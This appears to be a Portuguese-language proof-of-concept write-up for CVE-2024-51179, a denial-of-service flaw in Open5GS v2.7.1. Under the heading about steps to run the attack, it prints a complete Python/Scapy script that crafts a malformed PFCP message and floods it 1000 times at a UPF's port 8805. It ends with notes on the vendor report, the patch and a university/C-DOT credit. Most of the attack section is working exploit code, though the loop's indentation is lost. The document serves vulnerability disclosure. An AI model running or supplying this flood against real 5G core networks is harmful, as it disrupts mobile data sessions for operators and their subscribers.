
Exploit de prova de conceito para CVE-2024-51179: inundação de pacotes PFCP manipulados causa negação de serviço no Open5GS UPF/SMF, interrompendo o estabelecimento de sessões PDU do núcleo 5G.
Descrição: Um problema no Open5GS v.2.7.1 permite que um atacante remoto cause uma negação de serviço por meio das Virtualizações de Funções de Rede (NFVs), como a Função de Plano de Usuário (UPF) e a Função de Gerenciamento de Sessão (SMF). O processo de estabelecimento de sessão da Unidade de Dados de Pacote (PDU) é impactado pelas quedas que ocorrem nas NFVs.
Um atacante, após obter o endereço IP da Função de Plano de Usuário (UPF), a porta PFCP e o SEID (Identificador de Extremidade de Sessão), pode criar e inundar pacotes PFCP (Protocolo de Controle de Encaminhamento de Pacotes) maliciosos para a UPF. Os parâmetros necessários podem ser interceptados usando ferramentas como Wireshark se o atacante tiver acesso ao tráfego do plano de usuário.
Tipo de Vulnerabilidade: Negação de Serviço
Impacto: Ao enviar o pacote malicioso, a UPF torna-se errônea, afetando o estabelecimento de novas sessões PDU. Além disso, a SMF (Função de Gerenciamento de Sessão) é impactada devido à inundação de pacotes PFCP maliciosos, interrompendo as funções principais.
Pré-condições: A rede 5G foi configurada usando Open5GS como rede principal e UERANSIM como ferramenta de emulação para o gNB (Next Generation NodeB) e UE (User Equipment).
PASSOS PARA EXECUTAR O ATAQUE
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


A vulnerabilidade, documentada como Issue #3497 na página do Open5GS no GitHub (https://github.com/open5gs/open5gs/issues/3497), foi reportada ao fornecedor do Open5GS, que identificou a causa raiz como um problema de desalocação de memória levando a quedas do sistema. Um patch foi aplicado desde então, e o código foi atualizado para resolver o problema. Você pode revisar o código atualizado aqui.
A CVE-2024-51179 foi publicada.
UNIVERSIDADE DIGITAL KERALA, CENTRO PARA DESENVOLVIMENTO DE TELEMÁTICA (C-DOT)